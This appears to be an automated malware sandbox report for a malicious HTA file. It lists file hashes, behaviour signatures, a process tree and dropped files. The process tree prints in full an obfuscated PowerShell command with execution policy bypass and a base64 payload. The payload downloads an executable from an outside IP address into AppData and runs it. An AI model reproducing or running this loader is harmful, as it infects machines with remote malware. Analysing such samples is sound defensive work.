Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    13-06-2024 17:28

General

  • Target

    3371aa45b44d7065089695960d94e028.hta

  • Size

    34KB

  • MD5

    3371aa45b44d7065089695960d94e028

  • SHA1

    77f7d123f864ba762b813efa8e1d4c6abfaceee4

  • SHA256

    28499696b10d24ae8686b10f6afce67f6357d11490dd4a76a7e4a671a16d4ea6

  • SHA512

    24c547b7e6bd197b5d829166341e9483657571bad5023baf0d02eb87c158cdcd2a58bae8d8d1db33db5f6faa582a325c05f09ca284ea5ee8441e114fff149aae

  • SSDEEP

    96:40xsXYxvOsXvQ645fUfr8jmaTWJrwvQ0aDG/ratntYe1a0aOsXEtONQ:403hfP45f65sQ7DG/ratNM7gONQ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3371aa45b44d7065089695960d94e028.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c POweRSHeLl.ExE -eX bYpaSs -nOP -w 1 -c DEvICEcREDentIAlDepLoyMent ; iEx($(Iex('[SySTEM.TEXT.enCodiNG]'+[ChaR]0X3A+[chAr]58+'uTf8.GetsTRINg([sysTem.CONvERT]'+[ChAr]0X3a+[CHAR]58+'frOMbASe64STRInG('+[cHar]0X22+'JHpsNEZhICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJlUmRFRmluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUkxtb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVWVmZHUmVnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWElRa3Usc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLc05FdFcsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmJqcXJzTmlzWWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRnRUF6aENKWlUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpsNEZhOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNjcuMjA3LjE2Ni4xNzUvTTEwMDZUL2xzYXNzLmV4ZSIsIiRlTlY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO3NUYXJ0LXNMRWVQKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chaR]34+'))')))"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1980
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POweRSHeLl.ExE -eX bYpaSs -nOP -w 1 -c DEvICEcREDentIAlDepLoyMent ; iEx($(Iex('[SySTEM.TEXT.enCodiNG]'+[ChaR]0X3A+[chAr]58+'uTf8.GetsTRINg([sysTem.CONvERT]'+[ChAr]0X3a+[CHAR]58+'frOMbASe64STRInG('+[cHar]0X22+'JHpsNEZhICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJlUmRFRmluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUkxtb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVWVmZHUmVnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWElRa3Usc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLc05FdFcsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmJqcXJzTmlzWWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRnRUF6aENKWlUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpsNEZhOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNjcuMjA3LjE2Ni4xNzUvTTEwMDZUL2xzYXNzLmV4ZSIsIiRlTlY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO3NUYXJ0LXNMRWVQKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chaR]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2548
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r4mepyim.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2780
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2398.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2397.tmp"
            5⤵
              PID:2600

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RES2398.tmp

      Filesize

      1KB

      MD5

      a5fa7e302485c8e066bd511d3abe1d06

      SHA1

      a1d698d3b215348672618011e12ed0a8d6d98528

      SHA256

      815ade29e8acacaf74549340eaa506882d3cb2f7cabf521cc548fb27cb7d2147

      SHA512

      7dcc9c2b7f2b56a27a0293f32cebbf4e628914b7d208c9d82db20b32c098a18f55d793958b51dffee752cecb01e889416f41a2678e64f3e53362b7a99b0a31e1

    • C:\Users\Admin\AppData\Local\Temp\r4mepyim.dll

      Filesize

      3KB

      MD5

      3d128c822f393acd8d85fcc984113b68

      SHA1

      731bf60226425ed985ad3416201c6b31e3f05676

      SHA256

      b517bed27616e91e3bc6ae42fa1702d5438b119de4f8edc3d780f59d91387c36

      SHA512

      04e53ee5876ee1b94831fdcebce76c9a27855209559ea153d28173d24b86ca8d1be46f4846ff1e9bbbd09daee2bfb849ade4a9bfbdb675d5f8b94726deaaf9c6

    • C:\Users\Admin\AppData\Local\Temp\r4mepyim.pdb

      Filesize

      7KB

      MD5

      7c7b5018a11e1f096c3a62a1e099f0ad

      SHA1

      71bc68d4a3865ba3dc35759e78473a59638a9032

      SHA256

      2f76c4fe893dc7235055525e63ae16b02b073054d149415cd43bf07e18c0ec87

      SHA512

      389bd997ef60a17d66e8bffd2f1ba4aa2d9d107f0ce246db7cb6b872f0943901e96d4ca48cab017eece9411e9e38c84c574f9528cf0400799c4a2e83478dc176

    • \??\c:\Users\Admin\AppData\Local\Temp\CSC2397.tmp

      Filesize

      652B

      MD5

      dc7c55034050655157f676ae158c8ae7

      SHA1

      ffa5e98484218c517b553db2fd50e05f58403fac

      SHA256

      049606c85bbac78d02f6510276e97687d3bc360f3d33813732cd8127ce12dc1d

      SHA512

      500f7b494868f793a06b17c701c0b1d4175ad25fff04004f337fdc8744daadee7d3f6dfb2f8f0835b5476eec79b7a9e1993110b0628078e3c381d1b5d0d41f6a

    • \??\c:\Users\Admin\AppData\Local\Temp\r4mepyim.0.cs

      Filesize

      456B

      MD5

      b482306a1ee20f92189f3cbcd699aba3

      SHA1

      42d499137c52fa5bed274ae4942b089dbf025119

      SHA256

      ca429dae59619b584c51f3eb7f070e425308c373ebe32222679ead6b9ca4f706

      SHA512

      47f9add1109662cd59843fed68a72edbbc13da41fd1757f8fbd5ea46aa70eb43b87865d903505a50b1b2419b41eb40878cce4eeb9ce6c2587a4e028e93e527c5

    • \??\c:\Users\Admin\AppData\Local\Temp\r4mepyim.cmdline

      Filesize

      309B

      MD5

      a51545621ad6687a4b5c3fd8217a9520

      SHA1

      114690c9bda8933f9c65b7c7c8d354b711e13ea1

      SHA256

      0e6780b1a991d80bcfe59b8aac210f9c9cc9afd028f8505ad6b1b3864abeffba

      SHA512

      18cfea9879bf62325a23b877bb06a9b720275e7af0cb011891b9985a81349fbd781d609274bb1911719491be595ec8552399b7ba4a42065bf47ff67ffded4022